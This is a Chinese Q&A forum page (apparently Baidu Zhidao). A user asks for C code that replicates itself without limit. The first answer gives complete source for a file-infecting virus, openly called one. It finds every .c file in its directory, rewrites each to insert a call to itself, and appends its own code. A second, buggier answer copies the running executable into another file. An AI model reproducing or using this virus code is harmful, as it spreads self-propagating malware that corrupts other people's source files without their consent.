有关C语言编程的问题,请大家帮帮忙

我想编写一个程序,它能够自我复制,可是我想了好几个小时都没想出来,请高手给一些代码(关键部分的),甚至可以告诉我需要调用哪些函数,谢谢~~~~~~~~~~~,可以的话,再... 我想编写一个程序,它能够自我复制,可是我想了好几个小时都没想出来,请高手给一些代码(关键部分的),甚至可以告诉我需要调用哪些函数,谢谢~~~~~~~~~~~,可以的话,再给50分.
大哥,我还补充一点,刚才忘记说了,不仅是复制,而且是无限量的复制,并且还能生成一个一个的文件,你放心,大哥我一定还会给你加分的.清家荡产也要加分
展开
 我来答
starroom123
2006-12-17 · 超过20用户采纳过TA的回答
知道答主
回答量:81
采纳率:0%
帮助的人:69.9万
展开全部
下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
请大家不要喷我 不许恶意作弄他人 谢谢
百度网友967b2d9ac
2006-12-13
知道答主
回答量:50
采纳率:0%
帮助的人:0
展开全部
#include "stdafx.h"

int main(int argc, char* argv[])
{
FILE *fp,*fp2;
int total=0,count;
char buffer[100];
fp=fopen(argv[0],"r");
fp2=fopen("aa.exe","a");
while( !feof( fp ) )
{
/* Attempt to read in 10 bytes: */
count = fread( buffer, sizeof( char ), 100, fp );
if( ferror( fp ) ) {
perror( "Read error" );
break;
}
total+=count;
}
fwrite( buffer, total,1 , fp2 );

return 0;
}
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式